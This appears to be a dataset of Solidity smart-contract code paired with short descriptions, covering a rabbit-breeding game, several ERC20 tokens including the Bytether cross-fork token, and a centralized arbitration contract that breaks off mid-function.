rabbitToOwner[_sire].transfer(rabbitSirePrice[_sire]);
uint system = rabbitSirePrice[_sire].div(100);
system = system.mul(commission_system);
ownerMoney.transfer(system); // refund previous bidder
coolduwnUP(_matron);
// we transfer the rabbit to the new owner
transferNewBunny(rabbitToOwner[_matron], bunnyid, localdnk, genome, _matron, _sire);
// we establish parents for the child
setRabbitMother(bunnyid, _matron);
return bunnyid;
}
/**
* Set the cooldown for childbirth
* @param _mother - mother for which cooldown
*/
function coolduwnUP(uint32 _mother) internal {
require(isPauseSave());
rabbits[(_mother-1)].birthCount = rabbits[(_mother-1)].birthCount.add(1);
rabbits[(_mother-1)].birthLastTime = now;
emit CoolduwnMother(_mother, rabbits[(_mother-1)].birthCount);
}
/**
* @param _mother - matron send money for parrent
* @param _valueMoney - current sale
*/
function _transferMoneyMother(uint32 _mother, uint _valueMoney) internal {
require(isPauseSave());
require(_valueMoney > 0);
if (getRabbitMotherSumm(_mother) > 0) {
uint pastMoney = _valueMoney/getRabbitMotherSumm(_mother);
for (uint i=0; i < getRabbitMotherSumm(_mother); i++) {
if (rabbitMother[_mother][i] != 0) {
uint32 _parrentMother = rabbitMother[_mother][i];
address add = rabbitToOwner[_parrentMother];
// pay salaries
setMotherCount(_parrentMother);
totalSalaryBunny[_parrentMother] += pastMoney;
emit SalaryBunny(_parrentMother, totalSalaryBunny[_parrentMother]);
add.transfer(pastMoney); // refund previous bidder
}
}
}
}
/**
* @dev We set the cost of renting our genes
* @param price rent price
*/
function setRabbitSirePrice(uint32 _rabbitid, uint price) public returns(bool) {
require(isPauseSave());
require(rabbitToOwner[_rabbitid] == msg.sender);
require(price > bigPrice);
uint lastTime;
(lastTime,,) = getcoolduwn(_rabbitid);
require(now >= lastTime);
if (rabbits[(_rabbitid-1)].role == 1 && rabbitSirePrice[_rabbitid] == price) {
return false;
}
rabbits[(_rabbitid-1)].role = 1;
rabbitSirePrice[_rabbitid] = price;
uint gen = rabbits[(_rabbitid-1)].genome;
sireGenom[gen].push(_rabbitid);
emit ChengeSex(_rabbitid, true, getSirePrice(_rabbitid));
return true;
}
/**
* @dev We set the cost of renting our genes
*/
function setSireStop(uint32 _rabbitid) public returns(bool) {
require(isPauseSave());
require(rabbitToOwner[_rabbitid] == msg.sender);
// require(rabbits[(_rabbitid-1)].role == 0);
rabbits[(_rabbitid-1)].role = 0;
rabbitSirePrice[_rabbitid] = 0;
deleteSire(_rabbitid);
return true;
}
function deleteSire(uint32 _tokenId) internal {
uint gen = rabbits[(_tokenId-1)].genome;
uint count = sireGenom[gen].length;
for (uint i = 0; i < count; i++) {
if(sireGenom[gen][i] == _tokenId)
{
delete sireGenom[gen][i];
if(count > 0 && count != (i-1)){
sireGenom[gen][i] = sireGenom[gen][(count-1)];
delete sireGenom[gen][(count-1)];
}
sireGenom[gen].length--;
emit ChengeSex(_tokenId, false, 0);
return;
}
}
}
function getMoney(uint _value) public onlyOwner {
require(address(this).balance >= _value);
ownerMoney.transfer(_value);
}
}
|
@title Interface new rabbits address function mixGenesRabbits(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256);
|
contract PrivateRabbitInterface {
function getNewRabbit(address from) public view returns (uint);
function mixDNK(uint dnkmother, uint dnksire, uint genome) public view returns (uint);
function isUIntPrivate() public pure returns (bool);
}
| 1,083,992
|
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./full_match/1/0xbB03246366ffb993A382c2F2E27F582Ae1cA2471/sources/contracts/Lottery/Lottery.sol
|
number of tickets sold
|
uint32 numberOfTicketsSold;
| 17,051,452
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./full_match/288/0x9284863F131f0145C8F22905C62504E9fD06AB2E/sources/contracts/Ola/Core/LendingNetwork/OTokens/CToken.sol
|
* OLA_ADDITIONS: This function @dev Fetches the admin bank address./
|
function fetchAdminBankAddress() internal view returns (address payable) {
return ComptrollerForOToken(address(comptroller)).adminBankAddress();
}
| 7,104,101
|
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./partial_match/1/0x2F602568897BEa035c12232ea2A31B2a550D3892/sources/ChadGPT.sol
|
exclude from paying fees or having max transaction amount
|
constructor() ERC20("Chad GPT", "CHAT") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 10;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 15;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1_000_000_000 * 1e18;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
| 3,561,098
|
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pragma solidity ^0.4.16;
// copyright contact@bytether.com
contract BasicAccessControl {
address public owner;
address[] public moderators;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
if (msg.sender != owner) {
bool found = false;
for (uint index = 0; index < moderators.length; index++) {
if (moderators[index] == msg.sender) {
found = true;
break;
}
}
require(found);
}
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function Kill() onlyOwner public {
selfdestruct(owner);
}
function AddModerator(address _newModerator) onlyOwner public {
if (_newModerator != address(0)) {
for (uint index = 0; index < moderators.length; index++) {
if (moderators[index] == _newModerator) {
return;
}
}
moderators.push(_newModerator);
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
uint foundIndex = 0;
for (; foundIndex < moderators.length; foundIndex++) {
if (moderators[foundIndex] == _oldModerator) {
break;
}
}
if (foundIndex < moderators.length) {
moderators[foundIndex] = moderators[moderators.length-1];
delete moderators[moderators.length-1];
moderators.length--;
}
}
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
interface CrossForkDistribution {
function getDistributedAmount(uint64 _requestId, string _btcAddress, address _receiver) public;
}
interface CrossForkCallback {
function callbackCrossFork(uint64 _requestId, uint256 _amount, bytes32 _referCodeHash) public;
}
contract TokenERC20 {
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract BTHToken is BasicAccessControl, TokenERC20, CrossForkCallback {
// metadata
string public constant name = "Bytether";
string public constant symbol = "BTH";
uint256 public constant decimals = 18;
string public version = "1.0";
// cross fork data
enum ForkResultCode {
SUCCESS,
TRIGGERED,
RECEIVED,
PENDING,
FAILED,
ID_MISMATCH,
NOT_ENOUGH_BALANCE,
NOT_RECEIVED
}
enum ClaimReferResultCode {
SUCCESS,
NOT_ENOUGH_BALANCE
}
struct CrossForkData {
string btcAddress;
address receiver;
uint256 amount;
bytes32 referCodeHash;
uint createTime;
}
uint64 public crossForkCount = 0;
uint public referBenefitRate = 10; // 10 btc -> 1 bth
bool public crossForking = false;
mapping (uint64 => CrossForkData) crossForkMapping;
mapping (string => uint64) crossForkIds;
mapping (bytes32 => uint256) referBenefits; // referCodeHash -> bth amount
address public crossForkDistribution = 0x0; // crossfork contract
uint256 public constant satoshi_bth_decimals = 10 ** 10;
event LogRevertCrossFork(bytes32 indexed btcAddressHash, address indexed receiver, uint64 indexed requestId, uint256 amount, ForkResultCode result);
event LogTriggerCrossFork(bytes32 indexed btcAddressHash, uint64 indexed requestId, ForkResultCode result);
event LogCrossFork(uint64 indexed requestId, address receiver, uint256 amount, ForkResultCode result);
event LogClaimReferBenefit(bytes32 indexed referCodeHash, address receiver, uint256 amount, ClaimReferResultCode result);
// deposit address
address public crossForkFundDeposit; // deposit address for cross fork
address public bthFundDeposit; // deposit address for user growth pool & marketing
address public developerFundDeposit; // deposit address for developer fund
// fund distribution
uint256 public crossForkFund = 17 * (10**6) * 10**decimals; //17m reserved for BitCoin Cross-Fork
uint256 public marketingFund = 2 * (10**6) * 10**decimals; //2m reserved for marketing
uint256 public userPoolFund = 1 * (10**6) * 10**decimals; //1m for user growth pool
uint256 public developerFund = 1 * (10**6) * 10**decimals; //1m reserved for developers
// for future feature
uint256 public sellPrice;
uint256 public buyPrice;
bool public trading = false;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
// modifier
modifier isCrossForking {
require(crossForking == true || msg.sender == owner);
require(crossForkDistribution != 0x0);
_;
}
modifier isTrading {
require(trading == true || msg.sender == owner);
_;
}
// constructor
function BTHToken(address _crossForkDistribution, address _crossForkFundDeposit, address _bthFundDeposit, address _developerFundDeposit) public {
totalSupply = crossForkFund + marketingFund + userPoolFund + developerFund;
crossForkDistribution = _crossForkDistribution;
crossForkFundDeposit = _crossForkFundDeposit;
bthFundDeposit = _bthFundDeposit;
developerFundDeposit = _developerFundDeposit;
balanceOf[crossForkFundDeposit] += crossForkFund;
balanceOf[bthFundDeposit] += marketingFund + userPoolFund;
balanceOf[developerFundDeposit] += developerFund;
}
function () payable public {}
// only admin
function setCrossForkDistribution(address _crossForkDistribution) onlyOwner public {
crossForkDistribution = _crossForkDistribution;
}
function setDepositAddress(address _crossForkFund, address _bthFund, address _developerFund) onlyOwner public {
crossForkFundDeposit = _crossForkFund;
bthFundDeposit = _bthFund;
developerFundDeposit = _developerFund;
}
function setPrices(uint256 _newSellPrice, uint256 _newBuyPrice) onlyOwner public {
sellPrice = _newSellPrice;
buyPrice = _newBuyPrice;
}
function setReferBenefitRate(uint _rate) onlyOwner public {
referBenefitRate = _rate;
}
// only moderators
function toggleCrossForking() onlyModerators public {
crossForking = !crossForking;
}
function toggleTrading() onlyModerators public {
trading = !trading;
}
function claimReferBenefit(string _referCode, address _receiver) onlyModerators public {
bytes32 referCodeHash = keccak256(_referCode);
uint256 totalAmount = referBenefits[referCodeHash];
if (totalAmount==0) {
LogClaimReferBenefit(referCodeHash, _receiver, 0, ClaimReferResultCode.SUCCESS);
return;
}
if (balanceOf[bthFundDeposit] < totalAmount) {
LogClaimReferBenefit(referCodeHash, _receiver, 0, ClaimReferResultCode.NOT_ENOUGH_BALANCE);
return;
}
referBenefits[referCodeHash] = 0;
balanceOf[bthFundDeposit] -= totalAmount;
balanceOf[_receiver] += totalAmount;
LogClaimReferBenefit(referCodeHash, _receiver, totalAmount, ClaimReferResultCode.SUCCESS);
}
// in case there is an error
function revertCrossFork(string _btcAddress) onlyModerators public {
bytes32 btcAddressHash = keccak256(_btcAddress);
uint64 requestId = crossForkIds[_btcAddress];
if (requestId == 0) {
LogRevertCrossFork(btcAddressHash, 0x0, 0, 0, ForkResultCode.NOT_RECEIVED);
return;
}
CrossForkData storage crossForkData = crossForkMapping[requestId];
uint256 amount = crossForkData.amount;
address receiver = crossForkData.receiver;
if (balanceOf[receiver] < crossForkData.amount) {
LogRevertCrossFork(btcAddressHash, receiver, requestId, amount, ForkResultCode.NOT_ENOUGH_BALANCE);
return;
}
// revert
balanceOf[crossForkData.receiver] -= crossForkData.amount;
balanceOf[crossForkFundDeposit] += crossForkData.amount;
crossForkIds[_btcAddress] = 0;
crossForkData.btcAddress = "";
crossForkData.receiver = 0x0;
crossForkData.amount = 0;
crossForkData.createTime = 0;
// revert refer claimable amount if possible
if (referBenefits[crossForkData.referCodeHash] > 0) {
uint256 deductAmount = crossForkData.amount;
if (referBenefits[crossForkData.referCodeHash] < deductAmount) {
deductAmount = referBenefits[crossForkData.referCodeHash];
}
referBenefits[crossForkData.referCodeHash] -= deductAmount;
}
LogRevertCrossFork(btcAddressHash, receiver, requestId, amount, ForkResultCode.SUCCESS);
}
// public
function getCrossForkId(string _btcAddress) constant public returns(uint64) {
return crossForkIds[_btcAddress];
}
function getCrossForkData(uint64 _id) constant public returns(string, address, uint256, uint) {
CrossForkData storage crossForkData = crossForkMapping[_id];
return (crossForkData.btcAddress, crossForkData.receiver, crossForkData.amount, crossForkData.createTime);
}
function getReferBenefit(string _referCode) constant public returns(uint256) {
return referBenefits[keccak256(_referCode)];
}
function callbackCrossFork(uint64 _requestId, uint256 _amount, bytes32 _referCodeHash) public {
if (msg.sender != crossForkDistribution || _amount == 0) {
LogCrossFork(_requestId, 0x0, 0, ForkResultCode.FAILED);
return;
}
CrossForkData storage crossForkData = crossForkMapping[_requestId];
if (crossForkData.receiver == 0x0) {
LogCrossFork(_requestId, crossForkData.receiver, 0, ForkResultCode.ID_MISMATCH);
return;
}
if (crossForkIds[crossForkData.btcAddress] != 0) {
LogCrossFork(_requestId, crossForkData.receiver, crossForkData.amount, ForkResultCode.RECEIVED);
return;
}
crossForkIds[crossForkData.btcAddress] = _requestId;
crossForkData.amount = _amount*satoshi_bth_decimals;
// add fund for address
if (balanceOf[crossForkFundDeposit] < crossForkData.amount) {
LogCrossFork(_requestId, crossForkData.receiver, crossForkData.amount, ForkResultCode.NOT_ENOUGH_BALANCE);
return;
}
balanceOf[crossForkFundDeposit] -= crossForkData.amount;
balanceOf[crossForkData.receiver] += crossForkData.amount;
if (referBenefitRate > 0) {
crossForkData.referCodeHash = _referCodeHash;
referBenefits[_referCodeHash] += crossForkData.amount / referBenefitRate;
}
LogCrossFork(_requestId, crossForkData.receiver, crossForkData.amount, ForkResultCode.SUCCESS);
}
function triggerCrossFork(string _btcAddress) isCrossForking public returns(ForkResultCode) {
bytes32 btcAddressHash = keccak256(_btcAddress);
if (crossForkIds[_btcAddress] > 0) {
LogTriggerCrossFork(btcAddressHash, crossForkIds[_btcAddress], ForkResultCode.RECEIVED);
return ForkResultCode.RECEIVED;
}
crossForkCount += 1;
CrossForkData storage crossForkData = crossForkMapping[crossForkCount];
crossForkData.btcAddress = _btcAddress;
crossForkData.receiver = msg.sender;
crossForkData.amount = 0;
crossForkData.createTime = now;
CrossForkDistribution crossfork = CrossForkDistribution(crossForkDistribution);
crossfork.getDistributedAmount(crossForkCount, _btcAddress, msg.sender);
LogTriggerCrossFork(btcAddressHash, crossForkIds[_btcAddress], ForkResultCode.TRIGGERED);
return ForkResultCode.TRIGGERED;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] > _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function freezeAccount(address _target, bool _freeze) onlyOwner public {
frozenAccount[_target] = _freeze;
FrozenFunds(_target, _freeze);
}
function buy() payable isTrading public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) isTrading public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
}
|
add fund for address
|
function callbackCrossFork(uint64 _requestId, uint256 _amount, bytes32 _referCodeHash) public {
if (msg.sender != crossForkDistribution || _amount == 0) {
LogCrossFork(_requestId, 0x0, 0, ForkResultCode.FAILED);
return;
}
CrossForkData storage crossForkData = crossForkMapping[_requestId];
if (crossForkData.receiver == 0x0) {
LogCrossFork(_requestId, crossForkData.receiver, 0, ForkResultCode.ID_MISMATCH);
return;
}
if (crossForkIds[crossForkData.btcAddress] != 0) {
LogCrossFork(_requestId, crossForkData.receiver, crossForkData.amount, ForkResultCode.RECEIVED);
return;
}
crossForkIds[crossForkData.btcAddress] = _requestId;
crossForkData.amount = _amount*satoshi_bth_decimals;
if (balanceOf[crossForkFundDeposit] < crossForkData.amount) {
LogCrossFork(_requestId, crossForkData.receiver, crossForkData.amount, ForkResultCode.NOT_ENOUGH_BALANCE);
return;
}
balanceOf[crossForkFundDeposit] -= crossForkData.amount;
balanceOf[crossForkData.receiver] += crossForkData.amount;
if (referBenefitRate > 0) {
crossForkData.referCodeHash = _referCodeHash;
referBenefits[_referCodeHash] += crossForkData.amount / referBenefitRate;
}
LogCrossFork(_requestId, crossForkData.receiver, crossForkData.amount, ForkResultCode.SUCCESS);
}
| 12,959,909
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8;
import "./IArbitrator.sol";
/** @title Centralized Arbitrator
* @dev This is a centralized arbitrator deciding alone on the result of disputes. It illustrates how IArbitrator interface can be implemented.
* Note that this contract supports appeals. The ruling given by the arbitrator can be appealed by crowdfunding a desired choice.
*/
contract CentralizedArbitrator is IArbitrator {
/* Constants */
// The required fee stake that a party must pay depends on who won the previous round and is proportional to the appeal cost such that the fee stake for a round is stake multiplier * appeal cost for that round.
uint256 public constant WINNER_STAKE_MULTIPLIER = 10000; // Multiplier of the appeal cost that the winner has to pay as fee stake for a round in basis points. Default is 1x of appeal fee.
uint256 public constant LOSER_STAKE_MULTIPLIER = 20000; // Multiplier of the appeal cost that the loser has to pay as fee stake for a round in basis points. Default is 2x of appeal fee.
uint256 public constant LOSER_APPEAL_PERIOD_MULTIPLIER = 5000; // Multiplier of the appeal period for the choice that wasn't voted for in the previous round, in basis points. Default is 1/2 of original appeal period.
uint256 public constant MULTIPLIER_DIVISOR = 10000;
/* Enums */
enum DisputeStatus {
Waiting, // The dispute is waiting for the ruling or not created.
Appealable, // The dispute can be appealed.
Solved // The dispute is resolved.
}
/* Structs */
struct DisputeStruct {
IArbitrable arbitrated; // The address of the arbitrable contract.
bytes arbitratorExtraData; // Extra data for the arbitrator.
uint256 choices; // The number of choices the arbitrator can choose from.
uint256 appealPeriodStart; // Time when the appeal funding becomes possible.
uint256 arbitrationFee; // Fee paid by the arbitrable for the arbitration. Must be equal or higher than arbitration cost.
uint256 ruling; // Ruling given by the arbitrator.
DisputeStatus status; // A current status of the dispute.
}
struct Round {
mapping(uint256 => uint256) paidFees; // Tracks the fees paid for each choice in this round.
mapping(uint256 => bool) hasPaid; // True if this choice was fully funded, false otherwise.
mapping(address => mapping(uint256 => uint256)) contributions; // Maps contributors to their contributions for each choice.
uint256 feeRewards; // Sum of reimbursable appeal fees available to the parties that made contributions to the ruling that ultimately wins a dispute.
uint256[] fundedChoices; // Stores the choices that are fully funded.
}
/* Storage */
address public owner = msg.sender; // Owner of the contract.
uint256 public appealDuration; // The duration of the appeal period.
uint256 private arbitrationFee; // The cost to create a dispute. Made private because of the arbitrationCost() getter.
uint256 public appealFee; // The cost to fund one of the choices, not counting the additional fee stake amount.
DisputeStruct[] public disputes; // Stores the dispute info. disputes[disputeID].
mapping(uint256 => Round[]) public disputeIDtoRoundArray; // Maps dispute IDs to Round array that contains the info about crowdfunding.
/* Events */
/**
* @dev To be emitted when a dispute can be appealed.
* @param _disputeID ID of the dispute.
* @param _arbitrable The contract which created the dispute.
*/
event AppealPossible(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
/**
* @dev To be emitted when the current ruling is appealed.
* @param _disputeID ID of the dispute.
* @param _arbitrable The contract which created the dispute.
*/
event AppealDecision(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
/** @dev Raised when a contribution is made, inside fundAppeal function.
* @param _disputeID ID of the dispute.
* @param _round The round the contribution was made to.
* @param _choice Indicates the choice option which got the contribution.
* @param _contributor Caller of fundAppeal function.
* @param _amount Contribution amount.
*/
event Contribution(
uint256 indexed _disputeID,
uint256 indexed _round,
uint256 _choice,
address indexed _contributor,
uint256 _amount
);
/** @dev Raised when a contributor withdraws a non-zero value.
* @param _disputeID ID of the dispute.
* @param _round The round the withdrawal was made from.
* @param _choice Indicates the choice which contributor gets rewards from.
* @param _contributor The beneficiary of the withdrawal.
* @param _amount Total withdrawn amount, consists of reimbursed deposits and rewards.
*/
event Withdrawal(
uint256 indexed _disputeID,
uint256 indexed _round,
uint256 _choice,
address indexed _contributor,
uint256 _amount
);
/** @dev To be raised when a choice is fully funded for appeal.
* @param _disputeID ID of the dispute.
* @param _round ID of the round where the choice was funded.
* @param _choice The choice that just got fully funded.
*/
event ChoiceFunded(uint256 indexed _disputeID, uint256 indexed _round, uint256 indexed _choice);
/* Modifiers */
modifier onlyOwner() {
require(msg.sender == owner, "Can only be called by the owner.");
_;
}
/** @dev Constructor.
* @param _arbitrationFee Amount to be paid for arbitration.
* @param _appealDuration Duration of the appeal period.
* @param _appealFee Amount to be paid to fund one of the appeal choices, not counting the additional fee stake amount.
*/
constructor(
uint256 _arbitrationFee,
uint256 _appealDuration,
uint256 _appealFee
) {
arbitrationFee = _arbitrationFee;
appealDuration = _appealDuration;
appealFee = _appealFee;
}
/* External and Public */
/** @dev Set the arbitration fee. Only callable by the owner.
* @param _arbitrationFee Amount to be paid for arbitration.
*/
function setArbitrationFee(uint256 _arbitrationFee) external onlyOwner {
arbitrationFee = _arbitrationFee;
}
/** @dev Set the duration of the appeal period. Only callable by the owner.
* @param _appealDuration New duration of the appeal period.
*/
function setAppealDuration(uint256 _appealDuration) external onlyOwner {
appealDuration = _appealDuration;
}
/** @dev Set the appeal fee. Only callable by the owner.
* @param _appealFee Amount to be paid for appeal.
*/
function setAppealFee(uint256 _appealFee) external onlyOwner {
appealFee = _appealFee;
}
/** @dev Create a dispute. Must be called by the arbitrable contract.
* Must be paid at least arbitrationCost().
* @param _choices Amount of choices the arbitrator can make in this dispute.
* @param _extraData Can be used to give additional info on the dispute to be created.
* @return disputeID ID of the dispute created.
*/
function createDispute(uint256 _choices, bytes calldata _extraData)
external
payable
override
returns (uint256 disputeID)
{
uint256 localArbitrationCost = arbitrationCost(_extraData);
require(msg.value >= localArbitrationCost, "Not enough ETH to cover arbitration costs.");
disputeID = disputes.length;
disputes.push(
DisputeStruct({
arbitrated: IArbitrable(msg.sender),
arbitratorExtraData: _extraData,
choices: _choices,
appealPeriodStart: 0,
arbitrationFee: msg.value,
ruling: 0,
status: DisputeStatus.Waiting
})
);
disputeIDtoRoundArray[disputeID].push();
emit DisputeCreation(disputeID, IArbitrable(msg.sender));
}
/** @dev TRUSTED. Manages contributions, and appeals a dispute if at least two choices are fully funded. This function allows the appeals to be crowdfunded.
* Note that the surplus deposit will be reimbursed.
* @param _disputeID Index of the dispute to appeal.
* @param _choice A choice that receives funding.
*/
function fundAppeal(uint256 _disputeID, uint256 _choice) external payable {
DisputeStruct storage dispute = disputes[_disputeID];
require(dispute.status == DisputeStatus.Appealable, "Dispute not appealable.");
require(_choice <= dispute.choices, "There is no such ruling to fund.");
(uint256 appealPeriodStart, uint256 appealPeriodEnd) = appealPeriod(_disputeID);
require(block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd, "Appeal period is over.");
uint256 multiplier;
if (dispute.ruling == _choice) {
multiplier = WINNER_STAKE_MULTIPLIER;
} else {
require(
block.timestamp - appealPeriodStart <
((appealPeriodEnd - appealPeriodStart) * LOSER_APPEAL_PERIOD_MULTIPLIER) / MULTIPLIER_DIVISOR,
"Appeal period is over for loser"
);
multiplier = LOSER_STAKE_MULTIPLIER;
}
Round[] storage rounds = disputeIDtoRoundArray[_disputeID];
uint256 lastRoundIndex = rounds.length - 1;
Round storage lastRound = rounds[lastRoundIndex];
require(!lastRound.hasPaid[_choice], "Appeal fee is already paid.");
uint256 totalCost = appealFee + (appealFee * multiplier) / MULTIPLIER_DIVISOR;
// Take up to the amount necessary to fund the current round at the current costs.
uint256 contribution;
if (totalCost > lastRound.paidFees[_choice]) {
contribution = totalCost - lastRound.paidFees[_choice] > msg.value // Overflows and underflows will be managed on the compiler level.
? msg.value
: totalCost - lastRound.paidFees[_choice];
emit Contribution(_disputeID, lastRoundIndex, _choice, msg.sender, contribution);
}
lastRound.contributions[msg.sender][_choice] += contribution;
lastRound.paidFees[_choice] += contribution;
if (lastRound.paidFees[_choice] >= totalCost) {
lastRound.feeRewards += lastRound.paidFees[_choice];
lastRound.fundedChoices.push(_choice);
lastRound.hasPaid[_choice] = true;
emit ChoiceFunded(_disputeID, lastRoundIndex, _choice);
}
if (lastRound.fundedChoices.length > 1) {
// At least two sides are fully funded.
rounds.push();
lastRound.feeRewards = lastRound.feeRewards - appealFee;
dispute.status = DisputeStatus.Waiting;
dispute.appealPeriodStart = 0;
emit AppealDecision(_disputeID, dispute.arbitrated);
}
if (msg.value > contribution) payable(msg.sender).send(msg.value - contribution);
}
/** @dev Give a ruling to a dispute. Once it's given the dispute can be appealed, and after the appeal period has passed this function should be called again to finalize the ruling.
* Accounts for the situation where the winner loses a case due to paying less appeal fees than expected.
* @param _disputeID ID of the dispute to rule.
* @param _ruling Ruling given by the arbitrator. Note that 0 means that arbitrator chose "Refused to rule".
*/
function giveRuling(uint256 _disputeID, uint256 _ruling) external onlyOwner {
DisputeStruct storage dispute = disputes[_disputeID];
require(_ruling <= dispute.choices, "Invalid ruling.");
require(dispute.status != DisputeStatus.Solved, "The dispute must not be solved.");
if (dispute.status == DisputeStatus.Waiting) {
dispute.ruling = _ruling;
dispute.status = DisputeStatus.Appealable;
dispute.appealPeriodStart = block.timestamp;
emit AppealPossible(_disputeID, dispute.arbitrated);
} else {
require(block.timestamp > dispute.appealPeriodStart + appealDuration, "Appeal period not passed yet.");
dispute.ruling = _ruling;
dispute.status = DisputeStatus.Solved;
Round[] storage rounds = disputeIDtoRoundArray[_disputeID];
Round storage lastRound = rounds[rounds.length - 1];
// If only one ruling option is funded, it wins by default. Note that if any other ruling had funded, an appeal would have been created.
if (lastRound.fundedChoices.length == 1) {
dispute.ruling = lastRound.fundedChoices[0];
}
payable(msg.sender).send(dispute.arbitrationFee); // Avoid blocking.
dispute.arbitrated.rule(_disputeID, dispute.ruling);
}
}
/** @dev Allows to withdraw any reimbursable fees or rewards after the dispute gets resolved.
* @param _disputeID Index of the dispute in disputes array.
* @param _beneficiary The address which rewards to withdraw.
* @param _round The round the caller wants to withdraw from.
* @param _choice The ruling option that the caller wants to withdraw from.
* @return amount The withdrawn amount.
*/
function withdrawFeesAndRewards(
uint256 _disputeID,
address payable _beneficiary,
uint256 _round,
uint256 _choice
) external returns (uint256 amount) {
DisputeStruct storage dispute = disputes[_disputeID];
require(dispute.status == DisputeStatus.Solved, "Dispute should be resolved.");
Round storage round = disputeIDtoRoundArray[_disputeID][_round];
if (!round.hasPaid[_choice]) {
// Allow to reimburse if funding was unsuccessful for this ruling option.
amount = round.contributions[_beneficiary][_choice];
} else {
// Funding was successful for this ruling option.
if (_choice == dispute.ruling) {
// This ruling option is the ultimate winner.
amount = round.paidFees[_choice] > 0
? (round.contributions[_beneficiary][_choice] * round.feeRewards) / round.paidFees[_choice]
: 0;
} else if (!round.hasPaid[dispute.ruling]) {
// The ultimate winner was not funded in this round. In this case funded ruling option(s) are reimbursed.
amount =
(round.contributions[_beneficiary][_choice] * round.feeRewards) /
(round.paidFees[round.fundedChoices[0]] + round.paidFees[round.fundedChoices[1]]);
}
}
round.contributions[_beneficiary][_choice] = 0;
if (amount != 0) {
_beneficiary.send(amount); // Deliberate use of send to prevent reverting fallback. It's the user's responsibility to accept ETH.
emit Withdrawal(_disputeID, _round, _choice, _beneficiary, amount);
}
}
// ************************ //
// * Getters * //
// ************************ //
/** @dev Cost of arbitration.
* @return fee The required amount.
*/
function arbitrationCost(
bytes calldata /*_extraData*/
) public view override returns (uint256 fee) {
return arbitrationFee;
}
/** @dev Return the funded amount and funding goal for one of the choices.
* @param _disputeID The ID of the dispute to appeal.
* @param _choice The choice to check the funding status of.
* @return funded The amount funded so far for this choice in wei.
* @return goal The amount to fully fund this choice in wei.
*/
function fundingStatus(uint256 _disputeID, uint256 _choice) external view returns (uint256 funded, uint256 goal) {
DisputeStruct storage dispute = disputes[_disputeID];
require(_choice <= dispute.choices, "There is no such ruling to fund.");
require(dispute.status == DisputeStatus.Appealable, "Dispute not appealable.");
if (dispute.ruling == _choice) {
goal = appealFee + (appealFee * WINNER_STAKE_MULTIPLIER) / MULTIPLIER_DIVISOR;
} else {
